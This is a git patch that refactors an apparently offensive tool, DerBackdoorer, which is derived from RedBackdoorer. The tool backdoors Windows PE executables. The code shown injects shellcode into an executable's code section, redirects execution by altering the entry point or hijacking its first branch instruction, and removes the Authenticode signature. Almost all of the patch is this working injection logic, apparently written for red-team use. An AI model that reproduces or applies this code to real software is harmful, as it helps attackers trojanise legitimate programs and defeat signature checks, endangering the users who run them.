From 112964c11cadefffe46387b9f6d0505896dc2714 Mon Sep 17 00:00:00 2001 From: Dobin Date: Fri, 1 Mar 2024 13:33:01 +0000 Subject: [PATCH] refactor: cleanup 2 --- derbackdoorer/derbackdoorer.py | 250 ++++++--------------------------- phases/injector.py | 39 ++--- 2 files changed, 52 insertions(+), 237 deletions(-) diff --git a/derbackdoorer/derbackdoorer.py b/derbackdoorer/derbackdoorer.py index 0d6bb1b..8eb32e6 100644 --- a/derbackdoorer/derbackdoorer.py +++ b/derbackdoorer/derbackdoorer.py @@ -1,24 +1,10 @@ #!/usr/bin/python3 # -# Based on: -# Author: -# Mariusz Banach / mgeeky '22-'23, (@mariuszbit) -# -# -# Requirements: -# - pefile -# - capstone -# - keystone +# Based on the original RedBackdoorer by Mariusz Banach # -import os, re, sys -import string -import shutil import random -import tempfile -import argparse import textwrap -import struct import pefile import capstone import keystone @@ -32,129 +18,49 @@ logger = logging.getLogger("DerBackdoorer") class PeBackdoor: - class SupportedSaveModes(IntEnum): - WithinCodeSection = 1 - NewPESection = 2 - class SupportedRunModes(IntEnum): ModifyOEP = 1 BackdoorEP = 2 - HijackExport = 4 - availableSaveModes = { - SupportedSaveModes.WithinCodeSection: 'store shellcode in the middle of code section', - SupportedSaveModes.NewPESection: 'append shellcode to the PE file in a new PE section', - } - availableRunModes = { - SupportedRunModes.ModifyOEP: 'change AddressOfEntryPoint', - SupportedRunModes.BackdoorEP: 'modify first branching instruction from Original Entry Point', - } + def __init__(self, mype: MyPe, main_shc, inject_mode): + self.mype: MyPe = mype + self.runMode = inject_mode + self.shellcodeData = main_shc - def __init__(self, mype): - self.mype = mype - self.shellcodeOffset = 0 # from start of the file - self.shellcodeOffsetRel = 0 # from start of the code section - self.backdoorOffsetRel = 0 # from start of the code section - self.saveMode = PeBackdoor.SupportedSaveModes.WithinCodeSection # always - - - def backdoor(self, saveMode, runMode, shellcode, infile, outfile): - self.saveMode = saveMode - self.runMode = runMode - self.shellcode = shellcode - self.infile = infile - self.outfile = outfile - - try: - PeBackdoor.SupportedSaveModes(saveMode) - except: - logger.critical(f'Unsupported save mode specified. Please see help message for a list of available save,run modes.') - - try: - PeBackdoor.SupportedRunModes(runMode) - except: - logger.critical(f'Unsupported run mode specified. Please see help message for a list of available save,run modes.') - - try: - with open(self.shellcode, 'rb') as f: - self.shellcodeData = f.read() - - #if len(self.options['ioc']) > 0: - # self.shellcodeData += b'\x00\x00\x00\x00' + self.options['ioc'].encode() + b'\x00\x00\x00\x00' - self.mype = MyPe() - self.mype.openFile(self.infile) - - if not self.injectShellcode(): - logger.error('Could not inject shellcode into PE file!') - return False - - if not self.setupShellcodeEntryPoint(): - logger.error('Could not setup shellcode launch within PE file!') - return False - - remainingRelocsSize = self.mype.getRemainingRelocsDirectorySize() - numOfRelocs = int((remainingRelocsSize - 8) / 2) - logger.debug(f'Still can add up to {numOfRelocs} relocs tampering with shellcode for evasion purposes.') - - #if self.options['remove_signature']: - # self.removeSignature() - - logger.debug('Saving modified PE file...') - self.mype.write(self.outfile) - - return True - - except pefile.PEFormatError: - self.logger.warn('Input file is not a valid PE file.') - return False - - except Exception as e: - raise - - finally: - self.mype.pe.close() - - def removeSignature(self): - addr = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress - size = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size - - self.mype.pe.set_bytes_at_rva(addr, b'\x00' * size) - - self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0 - self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0 - - logger.info('PE executable Authenticode signature removed.') - return True + # Working + self.shellcodeOffset: int = 0 # from start of the file + self.shellcodeOffsetRel: int = 0 # from start of the code section + self.backdoorOffsetRel: int = 0 # from start of the code section - def injectShellcode(self): - if self.saveMode == int(PeBackdoor.SupportedSaveModes.WithinCodeSection): - sect = self.mype.get_code_section() - if sect == None: - logger.error('Could not find code section in input PE file!') - return False - sect_name = sect.Name.decode().rstrip('\x00') - sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData - logger.debug(f'Backdooring {sect_name} section.') - if sect_size < len(self.shellcodeData): - logger.critical(f'''Input shellcode is too large to fit into target PE executable code section! + def injectShellcode(self): + sect = self.mype.get_code_section() + if sect == None: + logger.error('Could not find code section in input PE file!') + return False + sect_name = sect.Name.decode().rstrip('\x00') + sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData + logger.debug(f'Backdooring {sect_name} section.') + + if sect_size < len(self.shellcodeData): + logger.critical(f'''Input shellcode is too large to fit into target PE executable code section! Shellcode size : {len(self.shellcodeData)} Code section size : {sect_size} ''') - offset = int((sect_size - len(self.shellcodeData)) / 2) - logger.debug(f'Inserting shellcode into 0x{offset:x} offset.') + offset = int((sect_size - len(self.shellcodeData)) / 2) + logger.debug(f'Inserting shellcode into 0x{offset:x} offset.') - self.mype.pe.set_bytes_at_offset(offset, self.shellcodeData) - self.shellcodeOffset = offset - self.shellcodeOffsetRel = offset - sect.PointerToRawData - - rva = self.mype.pe.get_rva_from_offset(offset) + self.mype.pe.set_bytes_at_offset(offset, self.shellcodeData) + self.shellcodeOffset = offset + self.shellcodeOffsetRel = offset - sect.PointerToRawData - p = sect.PointerToRawData + sect.SizeOfRawData - 64 - graph = textwrap.indent(f''' + rva = self.mype.pe.get_rva_from_offset(offset) + + p = sect.PointerToRawData + sect.SizeOfRawData - 64 + graph = textwrap.indent(f''' Beginning of {sect_name}: {textwrap.indent(hexdump(self.mype.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")} @@ -165,9 +71,9 @@ Trailing {sect_name} bytes: {hexdump(self.mype.pe.get_data(self.mype.pe.get_rva_from_offset(p)), p, 64)} ''', '\t') - logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:x}') - logger.debug(graph) - return True + logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:x}') + logger.debug(graph) + return True def setupShellcodeEntryPoint(self): @@ -190,6 +96,7 @@ Trailing {sect_name} bytes: return False + def getExportEntryPoint(self): dec = lambda x: '???' if x is None else x.decode() @@ -216,6 +123,7 @@ Trailing {sect_name} bytes: return addr return -1 + def backdoorEntryPoint(self, addr = -1): imageBase = self.mype.pe.OPTIONAL_HEADER.ImageBase @@ -268,6 +176,7 @@ Trailing {sect_name} bytes: logger.error('Did not find suitable candidate for Entry Point branch hijack!') return output + def getBackdoorTrampoline(self, cs, ks, instr): trampoline = '' @@ -315,6 +224,7 @@ Trailing {sect_name} bytes: logger.info('') return (trampoline, addrOffset) + def backdoorInstruction(self, cs, ks, disasmData, startOffset, instr, operand, depth): encoding = b'' @@ -346,86 +256,14 @@ Trailing {sect_name} bytes: return 0 -def opts(argv): - epilog = ''' - - 1 - change AddressOfEntryPoint - 2 - hijack branching instruction at Original Entry Point (jmp, call, ...) - (4 - hijack branching instruction at DLL Exported function (use -e to specify export to hook)) -''' + def removeSignature(self): + addr = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress + size = self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size - o = argparse.ArgumentParser( - usage = 'RedBackdoorer.py [options] ', - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog = textwrap.dedent(epilog) - ) - - req = o.add_argument_group('Required arguments') - req.add_argument('runmode', help = 'PE Injection mode, see help epilog for more details.') - req.add_argument('shellcode', help = 'Input shellcode file') - req.add_argument('infile', help = 'PE file to backdoor') - - opt = o.add_argument_group('Optional arguments') - opt.add_argument('-o', '--outfile', metavar='PATH', default='', help = 'Path where to save backdoored output file. If not given, will modify infile.') - opt.add_argument('-v', '--verbose', action='store_true', help = 'Verbose mode.') + self.mype.pe.set_bytes_at_rva(addr, b'\x00' * size) - bak = o.add_argument_group('Backdooring options') - #bak.add_argument('-n', '--section-name', metavar='NAME', default=DefaultSectionName, - # help = 'If shellcode is to be injected into a new PE section, define that section name. Section name must not be longer than 7 characters. Default: ' + DefaultSectionName) - bak.add_argument('-i', '--ioc', metavar='IOC', default='', help = 'Append IOC watermark to injected shellcode to facilitate implant tracking.') - bak.add_argument('-e', '--export', metavar='NAME', default='', help = 'When backdooring DLLs, this specifies name of the exported function to hijack.') + self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0 + self.mype.pe.OPTIONAL_HEADER.DATA_DIRECTORY[PeBackdoor.IMAGE_DIRECTORY_ENTRY_SECURITY].Size = 0 - sign = o.add_argument_group('Authenticode signature options') - sign.add_argument('-r', '--remove-signature', action='store_true', help = 'Remove PE Authenticode digital signature since its going to be invalidated anyway.') - - args = o.parse_args() - return args - -def main(argv): - print("DerBackdoorer") - print(" based on RedBackdoorer.py, by mgeeky") - args = opts(argv) - if not args: - return False - - outfile = '' - temp = None - - if len(args.outfile) > 0: - outfile = args.outfile - - else: - temp = tempfile.NamedTemporaryFile(delete=False) - shutil.copy(args.infile, temp.name) - outfile = temp.name - logger.debug(f'Outfile is a temporary file: {outfile}') - - saveMode = 1 # always - try: - runMode = int(args.runmode) - except: - logger.critical(f' Most be int') - - peinj = PeBackdoor() - result = peinj.backdoor(saveMode, runMode, args.shellcode, args.infile, outfile) - - ret = 0 - if result : - if len(args.outfile) > 0: - logger.info(f'Backdoored PE file saved to: {args.outfile}') - else: - shutil.copy(outfile, args.infile) - logger.info(f'Backdoored PE file in place.') - else: - ret = 1 - logger.critical('Could not backdoor input PE file!') - - if temp: - logger.debug('Removing temporary file...') - temp.close() - os.unlink(temp.name) - - exit(ret) - -if __name__ == '__main__': - main(sys.argv) \ No newline at end of file + logger.info('PE executable Authenticode signature removed.') + return True \ No newline at end of file diff --git a/phases/injector.py b/phases/injector.py index cff19ff..bc51a76 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -10,7 +10,6 @@ from model.carrier import Carrier, DataReuseEntry from peparser.pehelper import * from model.exehost import * from observer import observer -from helper import rbrunmode_str from derbackdoorer.derbackdoorer import PeBackdoor from derbackdoorer.mype import MyPe from model.project import Project @@ -20,12 +19,6 @@ logger = logging.getLogger("Injector") def inject_exe( -# shellcode_in: FilePath, -# exe_in: FilePath, -# exe_out: FilePath, -# inject_mode: int, -# source_style: SourceStyle - main_shc_file: FilePath, settings: Settings, project: Project, @@ -36,6 +29,12 @@ def inject_exe( inject_mode = settings.inject_mode source_style = settings.source_style + logger.info("--[ Injecting: {} into: {} -> {} (mode: {})".format( + shellcode_in, exe_in, exe_out, inject_mode + )) + + # Read prepared loader shellcode + # And check if it fits into the target code section main_shc = file_readall_binary(main_shc_file) l = len(main_shc) if l + 128 > project.exe_host.code_size: @@ -44,21 +43,10 @@ def inject_exe( )) return False - logger.info("--[ Injecting: {} into: {} -> {} (mode: {})".format( - shellcode_in, exe_in, exe_out, inject_mode - )) - #logger.warn("---[ Inject mode: {}".format(rbrunmode_str(inject_mode))) - # create copy of file exe_in to exe_out - #shutil.copyfile(exe_in, exe_out) - - # MyPe is a representation of the exe file - # We gonna modify it, and store it at the end + # MyPe is a representation of the exe file. We gonna modify it, and save it at the end. mype = MyPe() mype.openFile(exe_in) - peinj = PeBackdoor(mype) - - peinj.runMode = settings.inject_mode - peinj.shellcodeData = main_shc # project.payload.payload_data + peinj = PeBackdoor(mype, main_shc, inject_mode) if not peinj.injectShellcode(): logger.error('Could not inject shellcode into PE file!') @@ -76,17 +64,6 @@ def inject_exe( mype.write(exe_out) - #result = peinj.backdoor( - # 1, # always overwrite .text section - # inject_mode, - # shellcode_in, - # exe_in, - # exe_out - #) - #if not result: - # logging.error("Error: Redbackdoorer failed") - # raise Exception("Redbackdoorer failed") - # verify and log shellcode = file_readall_binary(shellcode_in) shellcode_len = len(shellcode)